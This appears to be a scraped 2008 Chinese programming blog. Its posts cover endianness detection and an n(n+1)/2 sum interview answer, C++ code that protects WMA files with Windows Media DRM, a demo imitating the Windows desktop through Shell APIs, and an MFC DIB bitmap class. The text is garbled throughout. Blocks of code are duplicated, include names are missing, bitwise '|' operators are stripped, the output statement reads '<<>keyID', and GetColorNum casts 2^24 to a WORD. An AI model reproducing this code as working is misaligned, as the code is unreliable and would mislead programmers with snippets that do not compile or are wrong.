剖析： 嵌入式系统开发者应该对Little-endian和Big-endian模式非常了解。采用Little-endian模式的CPU对操作数的存放方式是从低字节到高字节，而Big-endian模式对操作数的存放方式是从高字节到低字节。例如，16bit宽的数0x1234在Little-endian模式CPU内存中的存放方式（假设从地址0x4000开始存放）为：
内存地址
存放内容
0x4000
0x34
0x4001
0x12
而在Big-endian模式CPU内存中的存放方式则为：
内存地址
存放内容
0x4000
0x12
0x4001
0x34
32bit宽的数0x12345678在Little-endian模式CPU内存中的存放方式（假设从地址0x4000开始存放）为：
内存地址
存放内容
0x4000
0x78
0x4001
0x56
0x4002
0x34
0x4003
0x12
而在Big-endian模式CPU内存中的存放方式则为：
内存地址
存放内容
0x4000
0x12
0x4001
0x34
0x4002
0x56
0x4003
0x78
联合体union的存放顺序是所有成员都从低地址开始存放，面试者的解答利用该特性，轻松地获得了CPU对内存采用Little-endian还是Big-endian模式读写。如果谁能当场给出这个解答，那简直就是一个天才的程序员。 试题2：写一个函数返回1+2+3+…+n的值（假定结果不会超过长整型变量的范围） 解答：
int Sum( int n ){ return ( (long)1 + n) * n / 2; //或return (1l + n) * n / 2;}
剖析： 对于这个题，只能说，也许最简单的答案就是最好的答案。下面的解答，或者基于下面的解答思路去优化，不管怎么“折腾”，其效率也不可能与直接return ( 1 l + n ) * n / 2相比！
int Sum( int n ){ long sum = 0; for( int i=1; i<=n; i++ ) { sum += i; } return sum;}
所以程序员们需要敏感地将数学等知识用在程序设计中。
星期三, 二月 27, 2008
运用 DRM 对流媒体文件加密
以前用 C++ 做过的 DRM 项目，现抽取出其中核心的代码, 演示一下如何借助 DRM 对流媒体文件进行保护。虽然微软的 DRM 技术被破解了, 但那是以用户通过认证并下载证书为前提的。由是观之, 运用 DRM 对流媒体文件施以保护仍有一定意义，这毕竟比什么都不做要强嘛!/* drm.h*/#ifndef __DRM_H__#define __DRM_H__
#include#import "wmrmobjs.dll"
class DRMObject {public: DRMObject(char* inFile, char* outFile, char* licenseURL, char* corpName); bool Encrypt();
public: std::string key; std::string seed; std::string keyID; std::string contentID; std::string publicKey; std::string privateKey;
private: std::string _inFile; std::string _outFile; std::string _corpName; std::string _licenseURL;};
#endif// drm.cxx#include "drm.h"#include#include
DRMObject::DRMObject(char* inFile, char* outFile, char* licenseURL, char* corpName){ _inFile = inFile; _outFile = outFile; _corpName = corpName; _licenseURL = licenseURL;}
bool DRMObject::Encrypt() { try { HRESULT hr;
// Initialize the COM library on the current thread hr = CoInitialize(NULL); if (FAILED(hr)) _com_issue_error(hr);
WMRMOBJSLib::IWMRMKeysPtr keysObj("Wmrmobjs.WMRMKeys"); WMRMOBJSLib::IWMRMHeaderPtr headerObj("Wmrmobjs.WMRMHeader"); WMRMOBJSLib::IWMRMProtectPtr protectObj("Wmrmobjs.WMRMProtect");
// Generate keyID,seed,contentID keyID = keysObj->GenerateKeyID(); seed = keysObj->GenerateSeed(); contentID = keysObj->GenerateKeyID();
// Generate key keysObj->KeyID = keyID.c_str(); keysObj->Seed = seed.c_str(); key = keysObj->GenerateKey();
// Set protected header headerObj->KeyID = keyID.c_str(); headerObj->ContentID = contentID.c_str(); headerObj->LicenseAcqURL = _licenseURL.c_str(); headerObj->Attribute["Copyright"] = _corpName.c_str();
// verify the key headerObj->SetCheckSum(key.c_str());
//Generate public and private key _variant_t privKey, pubKey; VariantInit(&privKey); VariantInit(&pubKey); keysObj->GenerateSigningKeys(&privKey, &pubKey); headerObj->IndividualizedVersion = "2.2";
// Save private and public kyes privateKey = (_bstr_t)privKey; publicKey = (_bstr_t)pubKey;
// Sign key headerObj->Sign((_bstr_t)privKey);
// Set protect object _bstr_t header; header = headerObj->Header; protectObj->Header = header; protectObj->Key = key.c_str(); protectObj->V1KeyID = keyID.c_str();
// start encrypt protectObj->InputFile = _inFile.c_str(); protectObj->ProtectFile(_outFile.c_str()); } catch (const _com_error& e) { std::cerr << "COM Exception: " << e.ErrorMessage() << std::endl; if (e.ErrorInfo()) std::cerr << (char*)e.ErrorInfo() << std::endl; return false; }
CoUninitialize(); return true;}// drm_test.cxx#include "drm.h"#includeusing namespace std;
int main() { DRMObject* drmObj = new DRMObject("d:\\test.wma", "d:\\test2.wma", "http://localhost/test.asp", "test corp"); if (drmObj->Encrypt()) { cout << "KeyID: " <<>keyID <<>seed <<>key <<>contentID <<>publicKey <<>privateKey << endl; } delete drmObj;}
#include
class DRMObject {public: DRMObject(char* inFile, char* outFile, char* licenseURL, char* corpName); bool Encrypt();
public: std::string key; std::string seed; std::string keyID; std::string contentID; std::string publicKey; std::string privateKey;
private: std::string _inFile; std::string _outFile; std::string _corpName; std::string _licenseURL;};
#endif// drm.cxx#include "drm.h"#include
DRMObject::DRMObject(char* inFile, char* outFile, char* licenseURL, char* corpName){ _inFile = inFile; _outFile = outFile; _corpName = corpName; _licenseURL = licenseURL;}
bool DRMObject::Encrypt() { try { HRESULT hr;
// Initialize the COM library on the current thread hr = CoInitialize(NULL); if (FAILED(hr)) _com_issue_error(hr);
WMRMOBJSLib::IWMRMKeysPtr keysObj("Wmrmobjs.WMRMKeys"); WMRMOBJSLib::IWMRMHeaderPtr headerObj("Wmrmobjs.WMRMHeader"); WMRMOBJSLib::IWMRMProtectPtr protectObj("Wmrmobjs.WMRMProtect");
// Generate keyID,seed,contentID keyID = keysObj->GenerateKeyID(); seed = keysObj->GenerateSeed(); contentID = keysObj->GenerateKeyID();
// Generate key keysObj->KeyID = keyID.c_str(); keysObj->Seed = seed.c_str(); key = keysObj->GenerateKey();
// Set protected header headerObj->KeyID = keyID.c_str(); headerObj->ContentID = contentID.c_str(); headerObj->LicenseAcqURL = _licenseURL.c_str(); headerObj->Attribute["Copyright"] = _corpName.c_str();
// verify the key headerObj->SetCheckSum(key.c_str());
//Generate public and private key _variant_t privKey, pubKey; VariantInit(&privKey); VariantInit(&pubKey); keysObj->GenerateSigningKeys(&privKey, &pubKey); headerObj->IndividualizedVersion = "2.2";
// Save private and public kyes privateKey = (_bstr_t)privKey; publicKey = (_bstr_t)pubKey;
// Sign key headerObj->Sign((_bstr_t)privKey);
// Set protect object _bstr_t header; header = headerObj->Header; protectObj->Header = header; protectObj->Key = key.c_str(); protectObj->V1KeyID = keyID.c_str();
// start encrypt protectObj->InputFile = _inFile.c_str(); protectObj->ProtectFile(_outFile.c_str()); } catch (const _com_error& e) { std::cerr << "COM Exception: " << e.ErrorMessage() << std::endl; if (e.ErrorInfo()) std::cerr << (char*)e.ErrorInfo() << std::endl; return false; }
CoUninitialize(); return true;}// drm_test.cxx#include "drm.h"#include
int main() { DRMObject* drmObj = new DRMObject("d:\\test.wma", "d:\\test2.wma", "http://localhost/test.asp", "test corp"); if (drmObj->Encrypt()) { cout << "KeyID: " <<>keyID <<>seed <<>key <<>contentID <<>publicKey <<>privateKey << endl; } delete drmObj;}
星期日, 二月 24, 2008
模拟window桌面实现
正在开发中的游戏有个全屏功能--可以在window桌面背景上运行，就像一些视频播放器在桌面背景上播放一样的，花了个上午整了个Demo放出来留个纪念。
实现功能：显示图标，双击图标执行相应的程序，右击图标弹出该图标对应得菜单，点击非图标区则弹出桌面菜单。需要完整工程可以点此下载：DesktopWindow.rar。程序效果图如下：
在这个程序里，定义了一个XShellItem的数据结构，保持桌面图标的iten id(ITEMIDLiST)，图标以及文字图标。
struct XShellItem ...{ ITEMIDLIST* itemId;
int x; int y; int w; int h;
int nameX; int nameY; int nameW; int nameH;
BOOL hit;
CStringW name; Bitmap* icon; Bitmap* nameIcon;
XShellItem() : itemId(NULL), x(0), y(0), w(0), h(0), nameX(0), nameY(0), nameW(0), nameH(0), name(L""), hit(FALSE), icon(NULL), nameIcon(NULL) ...{ } ~XShellItem() ...{ } };然后定义一个数组CAtlArray
// 获取桌面图标的相关数据 BOOL InitShellFolder() ...{ HRESULT hRslt = SHGetDesktopFolder(&folder); if (FAILED(hRslt)) ...{ return FALSE; }
CComPtr
CAtlList
hRslt = ids->Next(1, &id, &cIds); if (hRslt != S_OK) ...{ break; }
CStringW name; STRRET str = ...{ 0}; hRslt = folder->GetDisplayNameOf(id, SHGDN_NORMAL SHGDN_INFOLDER, &str); if (SUCCEEDED(hRslt)) ...{ LPWSTR pname = 0; StrRetToStrW(&str, id, &pname); name = pname; CoTaskMemFree(pname); }
XShellItem item;
item.itemId = id; item.name = name; items.AddTail(item); }
SIZE_T iItem = 0; SIZE_T cItems = items.GetCount();
itemArray.SetCount(cItems);
POSITION pos = items.GetHeadPosition(); while (pos != 0) ...{ XShellItem& si = items.GetNext(pos); itemArray[iItem] = si; iItem++; }
HDC hDC = CreateCompatibleDC(0);
Graphics g(hDC); g.Clear(Color(0, 0, 0, 0));
ICONMETRICS im = ...{ 0}; im.cbSize = sizeof(im); SystemParametersInfo(SPI_GETICONMETRICS, sizeof(im), &im, 0);
SolidBrush br_t(Color(255, 255, 255)); Font font_i(hDC, &(im.lfFont)); float fcy = font_i.GetHeight(&g) * 2 + 2; DeleteDC(hDC);
Gdiplus::StringFormat sf(Gdiplus::StringFormat::GenericTypographic()); sf.SetAlignment(Gdiplus::StringAlignmentCenter); sf.SetTrimming(Gdiplus::StringTrimmingEllipsisWord);
iconSpacingWidth = im.iHorzSpacing + OFFSET_WIDTH; iconSpacingHeight = im.iVertSpacing + OFFSET_HEIGHT;
int iconWidth = GetSystemMetrics(SM_CXICON); int iconHeight = GetSystemMetrics(SM_CYICON);
for (SIZE_T i = 0; i < cItems; i++) ...{ XShellItem& item = itemArray[i];
// SHGetFileInfo HICON hIcon = 0; HIMAGELIST hImgList; SHFILEINFO stSHFileInfo; CImageList cImgList;
// 获取图标 hImgList = (HIMAGELIST)::SHGetFileInfo( (LPCWSTR) item.itemId, 0, &stSHFileInfo, sizeof(SHFILEINFO), SHGFI_PIDL SHGFI_ICON SHGFI_LARGEICON SHGFI_SYSICONINDEX);
// DIBSection 8bit BITMAPINFO bmi; BITMAPINFOHEADER& bmih = bmi.bmiHeader; bmih.biSize = sizeof(bmih); bmih.biWidth = ICON_WIDTH; bmih.biHeight = -ICON_HEIGHT; // BMP反转 bmih.biPlanes = 1; bmih.biBitCount = 32; bmih.biCompression = BI_RGB; bmih.biSizeImage = 0; bmih.biXPelsPerMeter = 0; bmih.biYPelsPerMeter = 0; bmih.biClrUsed = 0; bmih.biClrImportant = 0;
HDC memDC = CreateCompatibleDC(0); void* pDib = 0; HBITMAP hBmp = CreateDIBSection(memDC, &bmi, DIB_RGB_COLORS, &pDib, 0, 0); GdiFlush();
HGDIOBJ old = SelectObject(memDC, hBmp);
// ImageList_Draw WindowsXP ImageList_SetBkColor(hImgList, 0x0); ImageList_Draw(hImgList, stSHFileInfo.iIcon, memDC, 0, 0, ILD_NORMAL); SelectObject(memDC, old); DeleteDC(memDC);
cImgList.Attach(hImgList); hIcon = cImgList.ExtractIcon(stSHFileInfo.iIcon); cImgList.Detach();
if (hIcon != 0) ...{
// Bitmap::FromHICON 0~255 item.icon = Bitmap::FromHICON(hIcon); item.w = iconWidth; item.h = iconHeight;
Gdiplus::RectF rc(float(2), float(2), float(iconSpacingWidth - 4), fcy);
Gdiplus::Bitmap * nameIcon = new Bitmap(NAME_WIDTH, NAME_HEIGHT, &g); Gdiplus::Graphics * g2 = Gdiplus::Graphics::FromImage(nameIcon); g2->Clear(Gdiplus::Color(Gdiplus::ARGB(0)));
g2->DrawString(item.name, item.name.GetLength(), &font_i, rc, &sf, &br_t);
item.nameIcon = nameIcon; item.nameW = NAME_WIDTH; item.nameH = NAME_HEIGHT;
delete g2; }
DestroyIcon(hIcon); DeleteObject(hBmp); DestroyIcon(stSHFileInfo.hIcon); }
return TRUE; }注意这里面并没有设置图标对象的位置，因为当窗口改变大小的时候，相应地也要调整图标的描绘位置，所以图标位置是在SetShellItemPosition()中动态调整的.
// 根据窗口大小设置图标位置 void SetShellItemPosition() ...{ int iconWidth = GetSystemMetrics(SM_CXICON); int iconHeight = GetSystemMetrics(SM_CYICON); static const int OFFSET_Y = 20; int x = 0; int y = OFFSET_Y; SIZE_T cItems = itemArray.GetCount(); for (SIZE_T i = 0; i < cItems; i++) ...{ XShellItem& item = itemArray[i]; if (item.icon) ...{ item.x = x + (iconSpacingWidth - iconWidth) / 2; item.y = y; }
if (item.nameIcon) ...{ item.nameX = x; item.nameY = y + iconHeight + 2; }
WTL::CRect rect; GetClientRect(&rect); y += iconSpacingHeight; if (y + iconSpacingHeight >= rect.bottom) ...{ x += iconSpacingWidth; y = OFFSET_Y; } } }描绘图标就很简单了，呵呵，不贴了，下面来说说弹出图标菜单，执行图标对应的程序以及弹出桌面菜单。
执行图标对应的程序，需要以先前保持的图标itemid作为参数，代码如下：
void RunShellItem(ITEMIDLIST* pIID) ...{ SHELLEXECUTEINFO info; info.cbSize = sizeof(SHELLEXECUTEINFO); info.fMask = SEE_MASK_INVOKEIDLIST; info.hwnd = m_hWnd; info.lpVerb = NULL; info.lpFile = NULL; info.lpParameters = NULL; info.lpDirectory = NULL; info.nShow = SW_SHOWNORMAL; info.hInstApp = NULL; info.lpIDList = pIID; ShellExecuteEx(&info); }弹出桌面菜单的代码如下：
// 桌面菜单 void DesktopMenu() ...{ HWND program = FindWindowEx(0, 0, _T("Progman"), _T("Program Manager")); HWND view = FindWindowEx(program, 0, _T("SHELLDLL_DefView"), 0);
//HWND list = FindWindowEx(view, 0, _T("SysListView32"), 0); ::SetForegroundWindow(view);
POINT pt; GetCursorPos(&pt);
LPARAM lp = pt.y << 16 (pt.x - 32); ::PostMessage(view, WM_LBUTTONDOWN, 0, lp); ::PostMessage(view, WM_RBUTTONUP, 0, lp); }弹出图标菜单的代码如下，这里定义了两个全局的IContextMenu对象：static IContextMenu2* g_pIContext2 = NULL;static IContextMenu3* g_pIContext3 = NULL;
以便在消息回调函数中使用。具体代码如下：
// 图标菜单 void RightMenu(ITEMIDLIST* pIID) ...{ HWND hwnd = m_hWnd;
LPCONTEXTMENU pContextMenu = NULL; LPCONTEXTMENU pCtxMenuTemp = NULL;
g_pIContext2 = NULL; g_pIContext3 = NULL;
int menuType = 0;
HRESULT hRslt = folder->GetUIObjectOf( hwnd, 1, (LPCITEMIDLIST*) &(pIID), IID_IContextMenu, 0, (void**) &pCtxMenuTemp); if (FAILED(hRslt)) ...{ return; }
POINT pt; GetCursorPos(&pt);
if (pCtxMenuTemp->QueryInterface(IID_IContextMenu3, (void**) &pContextMenu) == NOERROR) ...{ menuType = 3; } else if (pCtxMenuTemp->QueryInterface(IID_IContextMenu2, (void**) &pContextMenu) == NOERROR) ...{ menuType = 2; }
if (pContextMenu) ...{ pCtxMenuTemp->Release(); } else ...{ pContextMenu = pCtxMenuTemp; menuType = 1; }
if (menuType == 0) ...{ return; }
HMENU hMenu = CreatePopupMenu(); hRslt = pContextMenu->QueryContextMenu(hMenu, 0, 1, 0x7fff, CMF_NORMAL CMF_EXPLORE); if (FAILED(hRslt)) ...{ return; }
#ifndef _WIN64 #pragma warning(disable : 4244 4311)#endif
// subclass window WNDPROC oldWndProc = NULL; if (menuType > 1) ...{
// only subclass if it is IID_IContextMenu2 or IID_IContextMenu3 oldWndProc = (WNDPROC) SetWindowLongPtr(GWL_WNDPROC, (LONG) HookWndProc); if (menuType == 2) ...{ g_pIContext2 = (LPCONTEXTMENU2) pContextMenu; } else ...{ g_pIContext3 = (LPCONTEXTMENU3) pContextMenu; } } else ...{ oldWndProc = NULL; }
int cmd = ::TrackPopupMenu( hMenu, TPM_LEFTALIGN TPM_BOTTOMALIGN TPM_RETURNCMD TPM_LEFTBUTTON, pt.x, pt.y, 0, hwnd, 0);
// unsubclass if (oldWndProc) ...{ SetWindowLongPtr(GWL_WNDPROC, (LONG) oldWndProc); }
#ifndef _WIN64 #pragma warning(default : 4244 4311)#endif if (cmd != 0) ...{ CMINVOKECOMMANDINFO ci = ...{ 0}; ci.cbSize = sizeof(CMINVOKECOMMANDINFO); ci.hwnd = hwnd; ci.lpVerb = (LPCSTR) MAKEINTRESOURCE(cmd - 1); ci.nShow = SW_SHOWNORMAL;
pContextMenu->InvokeCommand(&ci); }
pContextMenu->Release(); g_pIContext2 = NULL; g_pIContext3 = NULL; ::DestroyMenu(hMenu); }
static LRESULT CALLBACK HookWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) ...{ switch (message) ...{ case WM_MENUCHAR: // only supported by IContextMenu3 if (g_pIContext3) ...{ LRESULT lResult = 0; g_pIContext3->HandleMenuMsg2(message, wParam, lParam, &lResult); return(lResult); } break; case WM_DRAWITEM: case WM_MEASUREITEM: if (wParam) ...{ break; // if wParam != 0 then the message is not menu-related }
case WM_INITMENUPOPUP: if (g_pIContext2) ...{ g_pIContext2->HandleMenuMsg(message, wParam, lParam); } else ...{ g_pIContext3->HandleMenuMsg(message, wParam, lParam); }
return(message == WM_INITMENUPOPUP ? 0 : TRUE); break; default: break; }
return ::CallWindowProc((WNDPROC) GetProp(hWnd, TEXT("oldWndProc")), hWnd, message, wParam, lParam); }
星期日, 二月 03, 2008
一个比较好的对DIB位图进行操作的类
// Dib.h: interface for the CDib class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_DIB_H__AC952C3A_9B6B_4319_8D6E_E7F509348A88__INCLUDED_)
#define AFX_DIB_H__AC952C3A_9B6B_4319_8D6E_E7F509348A88__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CDib : public CObject
{
public:
CDib();
virtual ~CDib();
//operations
public:
// 用于操作DIB的函数声明
BOOL ConstructPalette(HGLOBAL,CPalette* ); //构造逻辑调色板
LPSTR GetBits(LPSTR); //取得位图数据的入口地址
DWORD GetWidth(LPSTR); //取得位图的宽度
DWORD GetHeight(LPSTR); //取得位图的高度
WORD GetPalSize(LPSTR); //取得调色板的大小
WORD GetColorNum(LPSTR); //取得位图包含的颜色数目
WORD GetBitCount(LPSTR); //取得位图的颜色深度
HGLOBAL LoadFile(CFile&); //从文件中加载位图
BOOL SaveFile(HGLOBAL hDib, CFile& file);
// 在对图象进行处理时，针对位图的字节宽度必须是4的倍数的这一要求，
// 我们设计了函数GetRequireWidth，来处理这种比较特殊的情况
int GetReqByteWidth(int ); //转换后的字节数GetRequireByteWidth
long GetRectWidth(LPCRECT ); //取得区域的宽度
long GetRectHeight(LPCRECT); //取得区域的高度
public:
void ClearMemory();
void InitMembers();
public:
LPBITMAPINFO lpbminfo; // 指向BITMAPINFO结构的指针
LPBITMAPINFOHEADER lpbmihrd; //指向BITMAPINFOHEADER结构的指针
BITMAPFILEHEADER bmfHeader; //BITMAPFILEHEADER结构
LPSTR lpdib; //指向DIB的指针
LPSTR lpDIBBits; // DIB像素指针
DWORD dwDIBSize; //DIB大小
HGLOBAL m_hDib;//DIB对象的句柄
CPalette* m_palDIB;//调色板指针
};
#endif // !defined(AFX_DIB_H__AC952C3A_9B6B_4319_8D6E_E7F509348A88__INCLUDED_)
/////////////////////////////////////////////////////////////////////实现文件//////////////////////////////////////////////////////////////////////////////
// Dib.cpp: implementation of the CDib class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Dib.h"
#include
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CDib::CDib()
{
InitMembers();
}
CDib::~CDib()
{
ClearMemory();
}
/*************************************************************************
* 函数名称：ConstructPalette(HGLOBAL hDIB, CPalette* pPal)
* 函数参数:
* HGLOBAL hDIB，DIB对象的句柄
* CPalette* pPal，调色板的指针
* 函数类型:BOOL
* 函数说明:该函数按照DIB创建一个逻辑调色板
************************************************************************/
BOOL CDib::ConstructPalette(HGLOBAL hDIB, CPalette* pPal)
{
HANDLE hLogPal;// 逻辑调色板的句柄
int iLoop;// 循环变量
BOOL bSuccess = FALSE;// 创建结果
if (hDIB == NULL)//判断是否是有效的DIB对象
{
return FALSE;// 返回FALSE
}
lpdib = (LPSTR) ::GlobalLock((HGLOBAL) hDIB);// 锁定DIB
lpbminfo= (LPBITMAPINFO)lpdib;
long wNumColors =GetColorNum(lpdib);// 获取DIB中颜色表中的颜色数目
if (wNumColors != 0)
{
hLogPal = ::GlobalAlloc(GHND, sizeof(LOGPALETTE)// 分配为逻辑调色板内存
+ sizeof(PALETTEENTRY)
* wNumColors);
if (hLogPal == 0)// 如果失败则退出
{
::GlobalUnlock((HGLOBAL) hDIB);// 解除锁定
return FALSE;
}
LPLOGPALETTE lpPal = (LPLOGPALETTE) ::GlobalLock((HGLOBAL) hLogPal);
lpPal->palVersion = 0x300;// 设置调色板版本号
lpPal->palNumEntries = (WORD)wNumColors;// 设置颜色数目
for (iLoop=0; iLoop<(int)wNumColors;iLoop++)// 读取调色板
{
lpPal->palPalEntry[iLoop].peRed =lpbminfo->bmiColors[iLoop].rgbRed;// 读取三原色分量
lpPal->palPalEntry[iLoop].peGreen =lpbminfo->bmiColors[iLoop].rgbGreen;
lpPal->palPalEntry[iLoop].peBlue =lpbminfo->bmiColors[iLoop].rgbBlue;
lpPal->palPalEntry[iLoop].peFlags =0;// 保留位
}
bSuccess=pPal->CreatePalette(lpPal);// 按照逻辑调色板创建调色板，并返回指针
::GlobalUnlock((HGLOBAL) hLogPal);// 解除锁定
::GlobalFree((HGLOBAL) hLogPal);// 释放逻辑调色板
}
::GlobalUnlock((HGLOBAL) hDIB);// 解除锁定
return bSuccess;// 返回结果
}
/*************************************************************************
* 函数名称：GetBits(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:LPSTR
* 函数功能:计算DIB像素的起始位置，并返回指向它的指针
************************************************************************/
LPSTR CDib::GetBits(LPSTR lpdib)
{
return (lpdib + ((LPBITMAPINFOHEADER)lpdib)->biSize+GetPalSize(lpdib));
// return (lpdib + *(LPDWORD)lpdib+GetPalSize(lpdib));
}
/*************************************************************************
* 函数名称：GetWidth(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:DWORD
* 函数功能:该函数返回DIB中图象的宽度
************************************************************************/
DWORD CDib::GetWidth(LPSTR lpdib)
{
return ((LPBITMAPINFOHEADER)lpdib)->biWidth;//返回DIB宽度
}
/*************************************************************************
* 函数名称：GetHeight(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib ，指向DIB对象的指针
* 函数类型:DWORD
* 函数功能:该函数返回DIB中图象的高度
************************************************************************/
DWORD CDib::GetHeight(LPSTR lpdib)
{
return ((LPBITMAPINFOHEADER)lpdib)->biHeight;//返回DIB高度
}
/*************************************************************************
* 函数名称：GetPalSize(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:WORD
* 函数功能:该函数返回DIB中调色板的大小
************************************************************************/
WORD CDib::GetPalSize(LPSTR lpdib)
{
return (WORD)(GetColorNum(lpdib) * sizeof(RGBQUAD));// 计算DIB中调色板的大小
}
/*************************************************************************
* 函数名称：GetColorNum(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:WORD
* 函数功能:该函数返回DIB中调色板的颜色的种数
************************************************************************/
WORD CDib::GetColorNum(LPSTR lpdib)
{
long dwClrUsed = ((LPBITMAPINFOHEADER)lpdib)->biClrUsed; // 读取dwClrUsed值
if (dwClrUsed != 0)
{
return (WORD)dwClrUsed;// 如果dwClrUsed不为0，直接返回该值
}
else
{
dwClrUsed=(long)pow(2,24);
return (WORD)dwClrUsed;
}
}
/*************************************************************************
* 函数名称：GetBitCount(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:WORD
* 函数功能:该函数返回DIBBitCount
************************************************************************/
WORD CDib::GetBitCount(LPSTR lpdib)
{
return ((LPBITMAPINFOHEADER)lpdib)->biBitCount;// 返回位宽
}
/*************************************************************************
* 函数名称：LoadFile(CFile& file)
* 函数参数:
* CFile& file，要读取得文件文件CFile
* 函数类型:HGLOBAL
* 函数功能:将指定的文件中的DIB对象读到指定的内存区域中
*************************************************************************/
HGLOBAL CDib::LoadFile(CFile& file)
{
DWORD dwFileSize;
dwFileSize= file.GetLength();//获取文件大小
if (file.Read((LPSTR)&bmfHeader, sizeof(bmfHeader)) != sizeof(bmfHeader))// 读取DIB文件头
{
return NULL;// 大小不一致，返回NULL
}
// 如果文件类型不是"BM"，其16进制值为0x4d42，则返回并进行相应错误处理
if (bmfHeader.bfType !=0x4d42)
{
return NULL;// 如果不是则返回NULL
}
m_hDib= (HGLOBAL) ::GlobalAlloc(GMEM_MOVEABLE GMEM_ZEROINIT, dwFileSize-sizeof(BITMAPFILEHEADER));// 分配DIB内存
if (m_hDib==NULL)
{
return NULL;// 分配失败，返回NULL
}
/////////////////////////////////////////////////////////////////////////
//给CDib类的成员变量赋值
lpdib = (LPSTR) ::GlobalLock((HGLOBAL) m_hDib);// 锁定
if (file.ReadHuge(lpdib, dwFileSize - sizeof(BITMAPFILEHEADER)) !=// 读像素
dwFileSize - sizeof(BITMAPFILEHEADER) )//大小不一致
{
::GlobalUnlock((HGLOBAL) m_hDib); // 解除锁定
::GlobalFree((HGLOBAL) m_hDib); // 释放内存
return NULL;
}
::GlobalUnlock((HGLOBAL) m_hDib);// 解除锁定
return m_hDib;// 返回DIB句柄
}
/*************************************************************************
* 函数名称：GetReqByteWidth(int bits)
* 函数参数:
* int bits，位数
* 函数类型:int
* 函数功能:获取需要的行字节数，应为4的倍数
*************************************************************************/
int CDib::GetReqByteWidth(int bits)
{
int getBytes=(bits + 31) / 32 * 4;
return getBytes;
}
/*************************************************************************
* 函数名称：GetRectWidth(LPCRECT lpRect)
* 函数参数:
* LPCRECT lpRect，指向矩形区域的指针
* 函数类型:long
* 函数功能:获取矩形区域的宽度
*************************************************************************/
long CDib::GetRectWidth(LPCRECT lpRect)
{
long nWidth=lpRect->right - lpRect->left;
return nWidth;
}
/*************************************************************************
* 函数名称：GetRectHeight(LPCRECT lpRect)
* 函数参数:
* LPCRECT lpRect，指向矩形区域的指针
* 函数类型:long
* 函数功能:获取矩形区域的高度
*************************************************************************/
long CDib::GetRectHeight(LPCRECT lpRect)
{
long nHeight=lpRect->bottom - lpRect->top;
return nHeight;
}
/*************************************************************************
* 函数名称：InitMembers()
* 函数类型: void
* 函数功能:初始化类的成员变量
*************************************************************************/
void CDib::InitMembers()
{
m_hDib=NULL;
lpdib=NULL;
lpDIBBits=NULL;
}
/*************************************************************************
* 函数名称：ClearMemory()
* 函数类型: void
* 函数功能:复位类的成员变量
*************************************************************************/
void CDib::ClearMemory()
{
if(m_hDib!=NULL)
::GlobalFree(m_hDib);
lpdib=NULL;
}
/*************************************************************************
* 函数名称：SaveFile(HGLOBAL hDib, CFile& file)
* 函数参数:
* HGLOBAL hDib，要保存的DIB
* CFile& file，保存文件CFile
* 函数类型:BOOL
* 函数功能:将指定的DIB对象保存到指定的CFile中
*************************************************************************/
BOOL CDib::SaveFile(HGLOBAL hDib, CFile& file)
{
if (hDib == NULL)
{
return FALSE;// 如果DIB为空，返回FALSE
}
lpbmihrd = (LPBITMAPINFOHEADER) ::GlobalLock((HGLOBAL) hDib);// 读取BITMAPINFO结构，并锁定
if (lpbmihrd == NULL)
{
return FALSE;// 为空，返回FALSE
}
bmfHeader.bfType ='BM'; // 填充文件头
dwDIBSize = *(LPDWORD)lpbmihrd + GetPalSize((LPSTR)lpbmihrd);// 文件头大小＋颜色表大小
DWORD dwBmBitsSize;// 像素的大小
dwBmBitsSize =GetReqByteWidth((lpbmihrd->biWidth)*((DWORD)lpbmihrd->biBitCount)) * lpbmihrd->biHeight;// 大小为Width * Height
dwDIBSize += dwBmBitsSize;// 计算后DIB每行字节数为4的倍数时的大小
lpbmihrd->biSizeImage = dwBmBitsSize;// 更新biSizeImage
bmfHeader.bfSize = dwDIBSize + sizeof(BITMAPFILEHEADER);// 文件大小
bmfHeader.bfReserved1 = 0;// 两个保留字
bmfHeader.bfReserved2 = 0;
bmfHeader.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + lpbmihrd->biSize// 计算偏移量bfOffBits
+ GetPalSize((LPSTR)lpbmihrd);
file.Write(&bmfHeader, sizeof(BITMAPFILEHEADER));// 写文件头
file.WriteHuge(lpbmihrd, dwDIBSize);// 写DIB头和像素
::GlobalUnlock((HGLOBAL) hDib);// 解除锁定
return TRUE;// 返回TRUE
}
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_DIB_H__AC952C3A_9B6B_4319_8D6E_E7F509348A88__INCLUDED_)
#define AFX_DIB_H__AC952C3A_9B6B_4319_8D6E_E7F509348A88__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CDib : public CObject
{
public:
CDib();
virtual ~CDib();
//operations
public:
// 用于操作DIB的函数声明
BOOL ConstructPalette(HGLOBAL,CPalette* ); //构造逻辑调色板
LPSTR GetBits(LPSTR); //取得位图数据的入口地址
DWORD GetWidth(LPSTR); //取得位图的宽度
DWORD GetHeight(LPSTR); //取得位图的高度
WORD GetPalSize(LPSTR); //取得调色板的大小
WORD GetColorNum(LPSTR); //取得位图包含的颜色数目
WORD GetBitCount(LPSTR); //取得位图的颜色深度
HGLOBAL LoadFile(CFile&); //从文件中加载位图
BOOL SaveFile(HGLOBAL hDib, CFile& file);
// 在对图象进行处理时，针对位图的字节宽度必须是4的倍数的这一要求，
// 我们设计了函数GetRequireWidth，来处理这种比较特殊的情况
int GetReqByteWidth(int ); //转换后的字节数GetRequireByteWidth
long GetRectWidth(LPCRECT ); //取得区域的宽度
long GetRectHeight(LPCRECT); //取得区域的高度
public:
void ClearMemory();
void InitMembers();
public:
